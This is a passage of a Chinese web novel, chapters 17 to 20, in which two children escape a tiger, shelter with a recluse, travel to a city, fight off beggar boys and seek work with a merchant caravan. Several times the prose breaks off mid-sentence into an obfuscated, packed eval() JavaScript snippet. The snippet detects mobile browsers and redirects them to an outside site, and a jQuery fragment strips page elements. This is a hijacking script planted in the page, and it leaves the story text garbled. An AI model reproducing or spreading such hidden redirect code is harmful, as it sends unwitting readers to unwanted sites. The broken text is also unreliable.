她大喊大叫弄出声音:“来啊,臭老虎,欺负伤员算什么本事,有本事就来追我!” 所谓老虎的屁股摸不得,被石子砸了更不是小事,老虎顿时转变目标,嘶吼一声朝苏茴扑去。 苏茴吓得拔腿猛跑,一人一虎就这么在丛林追逐起来。 借着对地形的熟悉,苏茴左绕右绕,专往狭小的地方钻,老虎平常压制猎物的庞大身形,在此时却一定程度上成了累赘,尽管它跑的比苏茴快,受路段限制,却迟迟没能追上。 而每每它打算停下,回去吃另外一个猎物,苏茴就又对它极致挑衅。 被接二连三的戏耍,老虎彻底愤怒了,它怒吼一声,更加凶猛地追捕猎物。 在这一人一虎又追逐了一段路后,苏茴的智慧和运气似乎耗尽,前面一片开阔平坦,让她再也没有办法借助地形拉开距离,后面老虎的脚步声越来越近。 眼见猎物已在眼前,老虎兴奋异常,一个向前猛扑。 然而,它并没有抓到猎物。 “咔擦咔擦——”冰面断裂的声音响起,老虎两只后脚卡进了冰层里。 原来苏茴将它带到了一片湖泊,在这寒冷飘雪的天气,湖面冻上了一层不算太坚固的冰,刚才老虎一用力,脚下的冰层便破裂了。 老虎不死心的伸长脖子向前撕咬,却根本碰不到苏茴,而它这几个动作让冰层又破了几分,很快半个身子都没入湖面。 像是终于意识到了自己的处境,它不敢再动,只是趴在冰层上发出呜咽。 苏茴不敢停下,手脚并用着爬出冰层抵达岸边,这才敢放心躺下。 然而还不等她喘息几口,眼前倏然倒出一个高大身影,她赶忙起身,是一个没见过的男人,他手上还拎着一个小孩,看不清脸,但苏茴认识这衣服,是谢岁安。 她的愕然霎时转变成惊和怒:“你……” 一个字都没说完,眼前人手气手落,苏茴就这么晕了过去。 男人看着被自己劈晕的小女孩,声音淡淡:“倒算聪明。” 低低的大猫凄厉呜咽声不断传来,男人眉头一拧,掀起眼皮看那只剩一个头在湖面求救的老虎:“养你这么久,怎么还是个蠢物。” 获救后老虎抖抖身子甩掉水分,伸出舌头就要去舔男人的手,男人却躲过反手给它一巴掌:“小畜生,你嘴里都是倒刺不知道吗?” 男人骂了一句,然后把两个小孩扔到了它背上随便用绳子捆了下,自己背上箩筐向丛林深处走去。 老虎亦步亦趋地跟在他身后,像只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的话句句在理,他去也只能添乱,不过是为自己心安打断他人节奏。 陈子非颓然坐下,眼泪婆娑:“阿月,我是不是很没用?我答应过父亲母亲要照顾好弟弟妹妹,却把他们两个丢在山上,我……” 萧飞月抱住他,轻声安慰:“这不是你的错,这是一个意外,谁也没想到子车仪会勾结这么大的土匪寨子。” “你放心,人我会继续找,哪怕他们真的被野兽吃了,我也一定把那畜生杀了给小茴和岁欢报仇。” 陈子非抓紧她的袖子,情绪更加失控,萧飞月抱住他的脑袋,任由他哭湿自己的衣裳。 过去了好半晌,眼见着他的情绪稳定,萧飞月放开他,犹豫片刻,还是再度提到:“小非,你之前答应过我,有了他们的消息就出发进京。你已经在这里停了快二十天,必须即刻出发赶考,再晚怕是要错过会试。” “可是阿月,他们生死未卜,我如何有心情考试,你让我再呆几天,再呆几天说不定人就找到了呢?” 知道自己说的是糊涂话,在萧飞月沉沉的目光里他的声音越来越小,本来张开的五根手指也缩回去两根。 “五……不,三天,就最后三天,再呆三天不管有没有消息我都走。求你了,阿月。” 萧飞月眸色沉沉,最终却败下阵来,点头答应。 她有点无奈的揉了揉额角,真是上辈子欠他的,活像一个祖宗。 而事实证明,男人的话能信,母猪都会上树。 三天过去了,依然没有小孩们的消息。 陈子非抱住客栈的柱子,死活不肯撒手:“阿月,我不走,我要等到他们回来,大不了我今年不考了,三年后再考,等不到他们我实在是没有心情考试,求你了阿月!” 看着那大声嚷嚷的人萧飞月额头跳了又跳,好声好气说了一大堆是屁用没有,她忍无可忍,一掌给他劈晕,把人撕下来丢到马车上。 “小翠,好好盯着公子,务必把人押到京城去。”说着,扔给她一瓶药,“他要是闹得厉害,非常时刻就用点非常手段,绝对不能让他半路跑回来。” “是,小姐。” 17. 话本里的主角 苏茴醒来的时候,后脖颈一阵一阵痛,她忍不住一边嘶一边向后摸去。 果不然,肿了。 “小姑娘,你醒了?”一个苍老的声音响起。 苏茴抬眼望去,正好看见一个年近古稀的老伯端着一碗什么。 “您……好?”苏茴有点呆愣,下意识礼貌招呼。 老伯笑呵呵地靠近,将碗递给她:“醒了就把药喝了吧。” 苏茴接过,看着那黑乎乎的药一时没能下口,她抬头望老伯:“阿爷,请问这是哪里?我怎么会在这儿?跟我一起是不是还有个男孩儿?” 她记得她应该是被一个更年轻的男人打晕的。 “公子说在山上碰到的你们,你们差点被小黄吃掉就把你们带回来了。至于那位小公子,他醒的早,在外面玩儿呢。” 苏茴几分惊讶,又问了几个问题后才一口闷了药,霎时苦得龇牙吐舌——比树叶还要难吃一点。 她把空碗还给老伯:“谢谢阿爷。” 老伯又叮嘱几句后才离开,苏茴乖巧点头,在老伯关门没多久却掀了被子跑出去。 果然,一开门就看见不远处的谢岁安,他面前还有只被锁链捆上的老虎。 因为被锁链捆着,老虎使劲伸长脖子也咬不到人,只能冲着面前才比它高一个头多的小男孩龇牙咧嘴,企图恐吓于他。 但显然,他并不吃这一套。 谢岁安面无表情的举起拐杖,一拐杖敲在它脑袋上又缩回。 老虎气得扯动链子哐哐作响,向前咬了又咬,却始终差那么一点距离。 苏茴也跑了过去,不知道从哪里捡了根子,学着谢岁安敲老虎,见老虎气的咬空气忍不住咯咯的笑,冲它做鬼脸。 见两人一虎相处友好、其乐融融,老伯放下心来,微笑着进厨房安心做晚饭。 又逗弄了一会儿,两个小家伙逐渐觉得没劲,离开了老虎绕着院子逛了起来。 “小哥哥,你的腿也是那位阿爷绑的?” 谢岁安本来随意用布条树枝绑固的腿,现在用上了磨平的竹板、干净的绷带,就连捆的手法也非常专业,一圈一圈绕的美观而紧实,比之前他们两个半吊子做的好太多。 “嗯,阿爷给我换了药。” 苏茴看见小厨房升起了袅袅炊烟,视线又回到谢岁安身上:“那小哥哥,我们后面是不是最好在这里住上一段时间?” 喝药的时候,苏茴已经向阿爷问清楚了一些基本的情况。 她们两个是被阿爷所谓的公子上山采药时带回来的,之所以打晕她们,是因为那位公子不怎么能忍受小孩的吵闹,或者说难听点,他不喜欢小孩。 不过公子其实面冷心善,否则也不会将她们两个带出山林——阿爷笑呵呵的如是补充。 而那位公子之所以出现在这群山之中,据说是为了……修行? 从阿爷的描述,这位公子从小习武,在才懂事的年纪便立下志向要报效国家,但他的文官父亲并不想他成为武将,一是战场上刀剑无眼,一个不好便阴阳两隔白发人送黑发人,二是燕临重文轻武,武将远不如文官有前程。 如此之下,他的父亲便勒令他改了志向,弃武从文,公子终是没扭过他的父亲,开始好好读书。 故事到这里,本该是父慈子孝皆大欢喜的结局,可这位公子大约骨子里奇异,不走寻常路,这一读书,读着读着,不知怎么爱上了哲学。 他听从圣人之言,格物致知,今日格一物,明日格一物,希望能明白天地之本源,即找到自己的“道”。 中间阿爷还说了一些复杂深奥的句子,苏茴没怎么听懂。 总之,公子的行为可谓又一次违背他父亲的意愿,他父亲又气又急,完全不知拿这个逆子如何是好。 几番反思之后,他父亲认为他如此不稳重,是没有成家的缘故,于是乎,便开始给他相看姑娘,想尽快给他安排一门亲事。 公子对娶妻无意,很是头疼,同时也清楚的认识到,这次若是再妥协,怕是此生再难追求心中所想。 于是,他离家出走了。 这位公子放弃正常娶妻生子的生活,离开他的父亲母亲,开始遍历山河,寻求自己的道。 苏茴听到这里很不明白,怎么会有人不想跟父亲母亲呆在一起? 她这么想的也这么问了。 谢岁安只摸了摸她的头:“你还小,是最依赖父母亲朋的年纪,等你再大一些,有了自己真正想做的事情,便会明白。” 苏茴似懂非懂的点头。 总而言之,他们再一次被好心人救了。 “嗯,怕是又要麻烦别人一段时间了。”谢岁安看着自己的腿,心下叹气。 本来就不怎么好的腿,跟老虎“搏斗”后,又二次撕裂了,他其实不怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550976|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么习惯麻烦父母之外的人,尤其是陌生人。 见身旁的人盯着腿郁闷,苏茴抱了抱他:“哥哥别担心,腿会好起来的。” 胸前毛茸茸的小脑袋蹭啊蹭,像是某种小动物。 谢岁安笑了起来,揉她的脑袋,也不解释:“嗯。” 谢岁安本想晚餐的时候跟那位公子和老伯说明请求,但那位公子并没有来,桌子上也只摆放了三人的碗筷。 “公子他一向在各座山内修行,十天半个月才回来一次,我们吃就好。”老伯看出他们的疑惑,一边给他们盛饭一边解释。 谢岁安闻言点头,接过饭,迟疑了下,还是跟老伯明说了请求,苏茴见他一脸紧张,不由也可怜兮兮地望向老伯。 本就是宜享天伦的年纪,稚子纯澈依赖的眼神更是让人难以拒绝。 老伯感觉自己心都要化了,赶忙道他们想住多久都行,一切等他们伤好再说。 说着,又怜爱地给他们一人夹了一筷子菜。 晚饭后不久天便彻底黑了下来,他们位处一个偏僻的山脚,离最近的乡镇都有好几公里远,也不可能有什么夜间活动,几人收拾收拾便歇下了。 茅屋不大,只有一个房间,老伯让两个小孩睡在房内,自己则在外厅临时搭了个睡的地方。 午夜子时,本来休憩沉眠的谢岁安被越来越响的窸窣动静吵醒,他揉着眼迷迷糊糊的起身,便见一个修长的身影正在收拾东西。 是之前打晕他的、本该在深山修行那位公子。 “吵醒你了?”文起听闻动静回头,和床上小孩疑惑的眼神对上,开口解释,“我收到来信,家父病重,我得回陕北一趟,赵伯跟我一起回去,后面就你们两个在这儿,有没有问题?” 谢岁安难得迷糊,好半天才消化完这个消息,见文起还看着自己,赶忙点了点头。 . 苏茴打了个哈欠,睡眼惺忪地看着那一老一少的身影消失在夜色中,回想起近日种种,一股莫名的倾吐欲从心中油然而生。 她忍不住拉了下旁边人的袖子:“小哥哥,我们掉下悬崖大难不死,阿爷跟公子又像话本子里突然莫名其妙出现救主角于水火危难又莫名其妙消失的人,我们是主角吗?” 谢岁安:……是不是主角不知道,但该说不说,确实挺离谱。 “……走吧,回去睡觉了。” …… 18. 你们很快就会知道我要干什么 文起给两个小家伙留了一些银两,不算很多,但也足够两个小家伙用一段时间。 因着从茅屋去最近的镇子有些距离,所以赵伯每次采买的时候,都会添置一大批物资回来。 前不久赵伯才去了趟镇上,他们离开的时候除了一些衣服和小黄,几乎什么都没带,把东西都留给了两个小孩。 屋子里食物药物都不缺,天气又冷,后面一个月两个小孩就没出门,在这隐蔽的山脚茅草屋渡过了新年。 其实谢岁安也不知道具体哪天是新年,在山上的日子有时醒一天昏两天的,根本没法准确的计算日期。 他只记得他们碰到土匪那天是十一月十六,两个人在山上耽搁了有个半个月起码,在茅屋又住了快一个月,算着日子,也差不多该是新年了。 对联鞭炮什么的自是没有,但吃顿饺子是可以的,正好崇阳也有新年吃饺子的习惯。 谢岁安从缸里取出一些面粉,又让苏茴去赵伯种的菜地里摘了个包菜回来,肉是没有新鲜的,但赵伯之前做了一些腊肉和香肠,谢岁安各取了一些,剁碎了就着包菜调了馅。 苏茴看谢岁安将馅调好味,又开始和面,忍不住在旁边惊奇:“哥哥,你怎么连这个都会?” 虽然苏茴还小,却也知道,一般家里做饭的都是女人,只有没女人要的男人才会自己下厨。 可小哥哥不仅是男人……不是,男孩,而且才九岁,又会烤兔子,又会做饭,就连饺子这么复杂的东西都会自己弄,着实令人惊讶。 “以前在边境,父亲要打战时常不在家,娘亲操持家务忙碌,她对食物又挑剔,虽然有下人,却总是不合她口味,我便学着做了。” 谢岁安眼里几分怀念,却又很快转为惆怅和悲伤。 苏茴想起他父母俱亡,反应过来自己好像说错了话。 她拉了拉谢岁安的衣服,在谢岁安看过来时道:“哥哥,你能教我怎么做吗?如果后面找到了爹爹和娘亲,我想做给他们吃。” 谢岁安笑了起来:“好,你去搬个小凳子过来,我教你弄,这个很简单。” 两人在天将黑的时候终于吃上了饺子,可能因为这是自己做的,竟是格外好吃,苏茴觉得比之前吃过的任何一顿饺子都香。 谢岁安看着苏茴快把脸都埋进盘子里,忍不住失笑:“慢点吃,没人和你抢,锅里还有。” “咕咕咕…”回应他的,是苏茴吞饺子的声音。 二人吃完,苏茴把碗洗了,回来看见谢岁安在看书,忍不住扑了过去,在谢岁安看过来时,苏茴冲他伸出双臂:“小哥哥,新年快乐!” 烛火摇曳,昏黄的微光照出面前小孩红润的脸蛋,还有她洁白的皓齿和纯稚的双眸。 谢岁安微垂了眼,回抱住眼前的小孩:“新年快乐,小茴。” 年后又过去半个月,谢岁安的双腿已经好的差不多,他现在不需要拐杖也能走好长一段,家里的食物所剩也不多,谢岁安便带着苏茴去了趟镇子。 他们采买了食物,又向镇子上的人打听了一番消息,最后又买了一张地图,才带着大包小包回去。 他们在的地方是丰西南部丘陵群山的边缘地带,想去燕京要么翻过群山直达青州,再从青州横跨两州抵达燕京,要么绕过群山到广宁,从广宁还需再横跨四州才能到燕京。 鉴于前面遇着土匪老虎的事情,两个小孩商量后决定绕过群山,从广宁去燕京,并且决定等到二月中旬天气回暖时便出发。 时间一晃而过,眼见着马上就到出发的日子,谢岁安气沉丹田努力感受,发现内力仍未恢复,不免几分惆怅。 他对药物知晓不多,根本不知道彭渊给他喂的是哪门子的封功散,也找镇上的大夫看了,大夫也不知道这个东西,只说约摸是江湖人的手段。 也不知道究竟什么时候能恢复内功,又或者需要配合药物才能恢复?但若是万一从此再不能使用内力…… 谢岁安打断了自己的胡思乱想,强迫自己将心神都投入到出发前的准备工作里。 事情未必有那么糟糕,再想也是无济于事。 收拾了几天,两人最后选择轻装上阵,只带必要的东西——干粮,银子,一些必要的药物和换洗的衣服,在一个清朗明媚的清晨,两个小孩一人一个包袱,开始向西北方向进发。 丰西的丘陵地带延绵千里,他们虽不需要环绕着走完,却也需要走好几百里才能到广宁,加之这边的地形弯绕,稍有不慎便会迷路,两个小孩光是走出丰西,便花了将近两个月的时间。 好在他们别的没有,就是时间多。两个小孩一路走一路耍,累了就休息,饿了就找吃的,就这么一路到了广宁。 谢岁安和苏茴没有文书进不去城,谢岁安想了想,给一个过路人塞了点银钱,又凄惨的说起他们千里寻亲的事,男人看着面前可怜兮兮的孩子,掂了掂手里的银钱,最终让他们装成自己的孩子一并进城。 两个小孩没法住客栈,谢岁安便带着苏茴投奔寺庙和道观,但僧人和道士同样不敢收留他们,无奈之下,谢岁安只好带着苏茴在一座破庙安置下。 外头阳光渐褪,乌云顶了上来,周遭也渐渐起了风,是即将下大雨的征兆。 谢岁安看着黑下来的天,回头道:“小茴,你在这等我,我去买点吃的,很快回来。”虽然包袱里还有一些干粮,但好不容易进了城,他还是想给她弄点别的食物。 苏茴乖巧点头:“好的哥哥,你早去早回。” 谢岁安离开了,苏茴围着破庙转了两圈,最终百无聊赖的在门前坐下,盯着下大的雨发呆。 就在这时,拐角处传来一阵脚步声,苏茴以为是谢岁安回来了,下意识起身。 刚想开口叫人,一阵骂骂咧咧的声音夹雨传来:“狗**的王二狗,*****,居然敢跟小爷我抢地盘,真是***的种,要不是下雨了,我非揍的他妈都不认识。” “是是,老大你最威猛了,王二狗算个什么东西?改天我们一定把他们打的落花流水。” 苏茴一愣,自从离开戏班,她已经很久没听到这样的脏话,此刻也反应过来,不是谢岁安。 扫了眼庙里面少的可怜的陈设,她抓起自己的包袱,躲到了蛛网密布的佛像后面。 才刚躲好,两个一大一小、鼻青脸肿的小孩便从冲进了庙里。 两个小孩很瘦,身上脏兮兮的,看起来像在泥潭里滚过一圈,破烂的衣服湿漉漉贴在身上,稍微一动便凸显出嶙峋的骨头——应是附近的乞儿。 大的那个还在骂骂咧咧,小的那个抹了把脸,自己都顾不上便开始绑旁边的人清理,一边动作还一边安慰。 好一会儿,像是终于发泄够了,大的那个终于停止骂人,止住小的动作,自己收拾起来,小的见状,便收了手开始清理自己。 两人把上衣脱了,就着落雨洗了衣摆上大块的泥巴,眼看着他们要脱裤子,苏茴吓得捂眼转身收回偷看的视线。 “大哥,我们现在怎么办?” “先在这里住下,等明天雨停了,找到李哥,我们再杀回去。” 两个小孩愤愤,大声‘密谋’尽入苏茴耳中,听着佛像外愈近的脚步声,苏茴心下惴惴。 她现在又不安又害怕,不安现在的处境,害怕被他们发现。 外面两人虽小,看着却不像善茬,这种摸爬滚打为了一口吃的什么都能干得出来的饿狼,有时比一个成人更让人忌惮。 苏茴忍不住攥紧了手上的包袱,祈祷谢岁安能赶紧回来。 外面没了说话声,只能听到一点浅薄的呼吸,苏茴猜测他们大概是在休息。 长时间维持一个动作让腿麻木到几乎没有知觉,她又仔细听了下清浅的呼吸,小心翼翼侧身,想换一个姿势,却才刚挪动一点腿,一只硕大的蜘蛛忽地钻出,迅速爬过她的腿一溜烟消失不见。 蛛腿毛刺接触皮肤的瞬间让人寒毛倒竖,苏茴吓得惊叫一声,包袱随她后倒的动作摔落在地。 她心下一咯噔,直接捂上了自己的嘴,却知道还是迟了,一抬头,果见两双手攀过佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但现在,她的饼被人抢走了。 她想上前去把包袱抢回来,却又清楚的知道自己根本不是对手,最后也只能看着两只恶狗对自己和谢岁安努力省下的饼大快朵颐。 苏茴气的捏紧了拳头,却什么也做不了,只能咬了咬牙,扭头冲进雨幕里。 大雨滂泼,披头盖脸的从四面八方打来,瞬间湿透了她全身,但她没有停下,直到在拐角的巷子里被人拉住。 一回头,是谢岁安,他手里撑着一把伞,正抿唇看着她。 谢岁安才买完东西不久,正揣着糖葫芦想象等苏茴收到该是何种惊喜,脸上也不自觉勾出一摸笑意,他不由加快了脚步,想快点回去。 就在这时,一个白色矮矮的身影从前面的巷口穿过,看着有些眼熟,他不由认真一看,是苏茴。 谢岁安一愣,一时也顾不得什么,把东西收进怀中快步追了上去。 “这是,怎么了?” 面前小孩神色愣愣,浑身湿漉,一绺一绺的头发黏腻地贴在她脸上,随着她仰头的动作,残存的雨水汇集,流向脸颊两侧。 谢岁安顿觉一股难言的怒火自心头涌起,但他只伸手轻轻拨开挡住她小脸的碎发,语调温柔:“小茴,告诉我,发生了什么?是谁欺负了你?” 苏茴终于回神,忍不住委屈的抿嘴,她扑进谢岁安的怀中,语调发抖:“哥哥……” . 破庙里,吃饱了的两人打了个嗝,小的那个砸吧了下嘴:“老大,有点干巴,我们去弄点喝的吧。” 大的那个本来还在翻包袱,闻言把包袱系上:“走。” 只是他们还没走出寺庙,一个撑伞的身影便出现在门前,拦住了他们的去路。 他的手上还牵了一个小孩,正是刚才被他们吓走的小女孩。 二人顿感不妙,瞬间进入防御警惕的状态。 大的那个将小的拦在身后,带上平日干架时凶狠,目露凶光:“你想干什么?” 门口的二人却并未理他。 谢岁安收了伞,将苏茴拉到一边坐下,将怀中的糖葫芦和包子递给她,苏茴眼睛一亮,谢岁安笑着摸了下她的头,又叮嘱了句什么,这才转身打量面前警惕盯着的二人。 “干什么?”他的声音明明平淡没什么起伏,却让虎子寒毛倒竖,一种前所未有的恐慌涌上心头,“你们很快就会知道我要干什么。” 19. 夜空里,响起他温柔的摇篮小调 虎子二人霎时警铃大作,却只见一抹残影略过,脸上一痛,瞬间倒地。 谢岁安抢回了包袱丢给苏茴,又指了指佛像,苏茴点头,拎着包袱去角落里把身上的湿衣服换了。 脸上本就有伤,挨了一拳后更是痛了,虎子正忍耐着要起来,却还没直起腰,又是一阵铺天盖地的拳头落在他脸上。 小小的破庙,凄厉的二重叫混杂着砰砰到肉的声响,融入雨中随雨气消散。 “错了,大哥,我们错了,求求你放过我们。” 被打成猪头的二人一人抱着一条腿磕头哀求。 被抱着的人不为所动,只有冷冷的声音传来:“你们得罪的,可不是我。” 二人即刻会意,立马朝已经换好衣服正在一边啃糖葫芦一边看戏的苏茴扑去。 “敢碰她一次,挨揍一次。” 冰凉的声音吓得两人止步,立刻放弃抱大腿的想法,直接跪下开始砰砰磕头。 “姑奶奶,是我们有眼不识泰山,居然抢到了您的头上。”说着,又给了自己几巴掌,“您大人不记小人过,心胸开阔有大量,求您饶了我们。” 苏茴忍不住嘀咕:“我才五岁,我是小人。” 走过来的谢岁安听到此言,没忍住笑了。 可不就是个五岁的小人,他比她长个四岁,对面磕头认错的两个,一个看起来十一二岁,一个看起来跟他差不多大。 虎子二人早早没了爹娘,在杨城流浪着长大,早已学会见人说人话见鬼说鬼话,此刻更是从善如流:“是是是,您看我这不会说话的嘴,该是您小人不计大人过,原谅我们。” 被谢岁安笑声吸引的苏茴被虎子的声音拉回视线,看着面前两个鼻青脸肿的‘猪头’,在她看过来时努力挤出讨好的笑。 她看了好一会儿,忽然叹了口气,小手一挥:“算了,你们起来吧,我原谅你们了。你们也没地方去吧,去弄点柴火回来,允许你们跟我们一起住在这里。” 跪在地上的人如蒙大恩,感激的又磕了几个头,才出去找柴火。 苏茴将最后一颗糖葫芦递给谢岁安,谢岁安就着她的手吃了,见她又把包子递过来,他摇头:“我吃过了,你吃。” 说着,他起身去把庙里唯一的竹杠洗了,将二人打湿的衣服晾了起来。 等他忙完回来,见苏茴还是呆呆的捧着包子看,也不知道在想什么,不由上前:“怎么了?不想吃包子吗?” 苏茴摇头,捧着包子的手忍不住用了点力,松软的包子皮便凹进去一点。 “哥哥,我就是觉得,能碰见你,大概是我这辈子最幸运的事。” 否则她很有可能也像那两个乞儿一样,食不果腹,衣难蔽体,甚至作为一个女孩,她只会更糟。 谢岁安没说什么,只屈膝蹲下,在苏茴的视线里将包子一分为二,将大份的递给苏茴。 “来,我陪你吃。” 苏茴抿唇笑了起来,接过包子啃了一口:“嗯!好吃!谢谢哥哥。” . 夜里,小破庙的火光已经灭了一轮,苏茴看着窗外漆黑的夜色,翻来覆去。 “睡不着?” 在苏茴又一次翻身后,不远处传来谢岁安清凉的音色。 “…嗯,有一点。” “怎么了?饿了?还是想起夜?” 苏茴摇摇头,黑暗中她也看不清谢岁安的脸,只能看见模糊的人影,“没事,哥哥,我就是有一点……可能稍微有一点担心。”她忍不住攥了下身上盖着的衣角,“也是我多想。哥哥,没事,睡吧,很晚了,晚安。” “担心我们去不了京城?毕竟我们银子也没多少了,文书也没有,才到杨城就碰到‘恶霸’,再后面还不知道会怎么样?” 苏茴瞪大眼睛,有点呆呆的转头:“哥哥,你是我肚子里面的蛔虫吗?怎么我想什么都知道?” 空中传来一阵轻笑,随即响起一阵窸窸窣窣的声响。 “你什么都写在脸上,如何让人猜不到?会有办法的,不用想太多,你现在只有一个任务——好好睡觉。”谢岁安在苏茴身侧坐下,轻轻摸了摸她的脑袋。 悠扬的小调在空荡的破庙中响起。 “哦,哦,睡觉觉,猫来了,狗来了,给俺宝宝送觉来了。哦,哦,睡一觉,月姥姥,窗外笑,照得宝宝脸蛋儿俏……” 男孩还没到变声期,哼出的摇篮小调格外温柔,带着说不清道不明的恬静,在男人安抚的轻拍下,苏茴渐渐心安,很快便沉沉睡去…… . 翌日,清晨。 谢岁安轻轻抽出被苏茴握住的手,见她睡的香甜,给她掖了掖被角,起身走向另外一侧。 佛像的另一侧,睡得四仰八叉的虎子跟黑娃正流着口水,应是梦到了什么好吃的,不住的砸吧嘴。 眼见着就要将红烧肉塞进嘴里,屁股蓦地一阵痛,虎子忍不住跳了起来:“谁?!谁敢偷袭小爷?!” 他抬头四处寻找凶手,却发现周围空荡荡的,什么也没有。 他以为是自己幻痛,正准备继续吃肉,但才进嘴的肉还没尝出味道,屁股又是一阵剧痛,这下他没能再大喊出声,因为他一睁眼,便发现自己被捂了嘴,大叫声变成了唔唔声。 “醒了?”确定人清醒了,不会大喊大叫扰人梦,谢岁安这才松手,“跟我出来,我有事问你。” 看着那已经到门口的背影,虎子心中忍不住破口大骂,最终却还是理智占据上风,窝窝囊囊的跟了出去。 肉,我的肉! 虎子沮丧万分,才出门却又眼睛一亮,他盯着谢岁安手上的馒头,忍不住吞了口唾沫。 “想要?” “想要!”虎子盯着那馒头被抛起来一上一下,花了极大的意志力才勉强将视线挪到谢岁安脸上,“哥,您说,要怎么样才能给我?” “你在杨城呆了多久了?” “三年。” “那你对城内的消息也算知道一些?” 原来是要打听消息。 虎子腰杆子都挺直了一些,脸上露出少有的骄傲之色:“哥,那岂止是知道一些,不是我说,我们虽然是乞丐,整天走街串巷,从城的这头到城的那头,可听说过不少消息八卦。” 环望见四周见无人,虎子凑近了些小声道,“就连这扬州城主家的事,我也是听说过几件嘞。” 那挤眉弄眼的猥琐样,他不说谢岁安也能猜出不是什么好事。 “不问你这个,”谢岁安用食指将人退远些,“你知不知道,杨城的商队、戏班、镖局这些,有没有近日准备上京的。” 虎子识趣的后退一点,脸露诧异:“哥你要上京啊?” “你只管回答就是。” “那您还真是问对了人,我正好知道一个。”虎子下意识的瞟了眼庙里,“哥你也听小姑奶奶说了,我们昨天被人抢了地盘,本来我头上还有一个大哥,叫李想,他之前在徐云商铺打杂,他跟我说过,那商铺的朱老板,最近正准备押送一批货物去经常做买卖嘞。” 谢岁安接住下落的馒头:“徐云商铺?开在哪里?” “城西的青石街,我可以带您过去。” 谢岁安这下笑了起来,将馒头向前一递:“不急,等人都起了再说。” 虎子赶忙道谢接过,一分为二,一半收进衣服里,一半狼吞虎咽的吃了。 因为昨晚没睡好,等苏茴醒来时已经日上三竿了,而等他们几人到达青石街的商铺,已是临近中午。 这个点大家都回去吃饭了,铺子里倒是没什么人,只有一个管事的在。 本来在算账的掌柜以为是客人来了,刚扬起笑脸却看见虎子几人,霎时黑了脸:“你们怎么又来了?去去去,都说了李想已经半个月没上工了,别再来我这儿,这里没有人也没有吃的,再这样耽误我做生意我就让人把你们打出去!” 虎子对掌柜不快的话不以为意,在柜台前停下嘿嘿笑道:“薛掌柜,我这次不是来找李大哥的,是来给你介绍打手的。” “打手?” 掌柜拧眉,只觉得眼前这乞丐在胡闹,刚想叫人把人赶走,虎子将谢岁安往前一推,开始做推销: “掌柜的,就是这个兄弟,你别看他年纪小,可却天生神力,从记事起就开始习武,是个实打实的练家子,打架搬货都是把好手,城东那群爱闹事的乞丐知道吧?他昨天一人就把他们全干翻了,你再看我脸上这伤,这就是他打的……” “我跟您说,要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但显然,他现在展示出的实力就已经很够用了,掌柜深觉得自己这是挖到宝了,待谢岁安表演完赶忙附上笑脸上前:“小兄弟好身手,我们商队里确实需要你这样武功高强的,你可愿意跟我去见见我们东家?” 谢岁安自然答应,但提出需要带妹妹一起,掌柜见犹豫片刻,最终还是答应。 掌柜的进去安排伙计看店铺,外面就剩下四个小孩。 见苏茴跟谢岁安开心的抱作一团,虎子犹豫了下,还是开口插话:“哥,我就不跟你们去了,这些富商虽也接济穷人乞丐,却不会欢迎乞丐到他们家里去。” “再说这天色也不早了,我和黑娃还要想办法弄点吃的。” 言毕,他的肚子适时传来一阵咕噜声。 谢岁安把苏茴放下,从包袱中拿了个馒头给虎子。 “今天多谢你们,之后你们作何打算?今天听那位掌柜的说,你们那位李大哥已经失踪半月有余,可有找过他?有没有什么线索?” 虎子道谢接过馒头,听闻提及李想,不由神色黯淡:“如何没找过,我们已经找了大半月了,打听到的唯一线索就是他失踪前曾出现在城南,后面便像人间蒸发,彻底没了消息。” 这世道乞丐的命还不如荒郊的草来得值钱,死了或是活了,都没有人在意。 李想或许已经绝命人间。 只是没见到尸体,虎子和黑娃总是不愿意往最坏处想,只要不是真的板上钉钉,他们总还能怀揣希望,期望有天能再看到李想。 “至于打算……”虎子苦笑,“乞丐不需要打算,能活着就很好了。” 之前的地盘是抢不回来了,靠他们两个,根本打不过比他们年长、做乞丐比他们时间长、还拉帮结派的王二狗。 他们二人,大约也只能像碰到李想之前,在这杨城内流浪四处下跪讨口饭吃,若是不慎死在这城中,那便是他们的命。 谢岁安沉默,好半晌才开口:“你……” “走吧小兄弟,带上你妹妹,我们去见见东家。”掌柜安排好了店铺的事情,便招呼谢岁安跟他走。 剩下的话就这么吞了回去,谢岁安只来得及跟虎子叮嘱一句,便拉着苏茴跟上掌柜的步伐。 虎子看着他们三个的背影消失,握在手上的馒头都忘了吃,只盯着那已经看不见人的街角怔怔。 黑娃见他好像魔怔了般,非常自觉的从虎子手上抢过馒头又分了一半回去,吞吃着馒头含糊不清道:“老大你别看了,吃馒头了,好不容易有口吃的。” 虎子这才回神,却仍是没吃,只捏着馒头神色复杂:“他让我们今晚在昨天的破庙等他。” 他看向黑娃:“你说,他这是什么意思?” 20. 猜的,我看见你藏馒头了 薛掌柜很快将谢岁安二人带到了自己东家面前,对着他悄声说了几句,又递给谢岁安眼神。 谢岁安会意,一番自我介绍和武艺表演后,果不其然在朱老板的眼中看到满意和欣赏的神色。 朱老板想让他跟朱家签卖身契,并且为表诚意,表示在签契约后愿意给他一大笔钱,而且在朱家做事也绝对不会亏待他,还给他开了一个不菲的工钱。 如果谢岁安只是个寻找活儿干的伙计,此刻大约会欣喜万分,只可惜他不是。 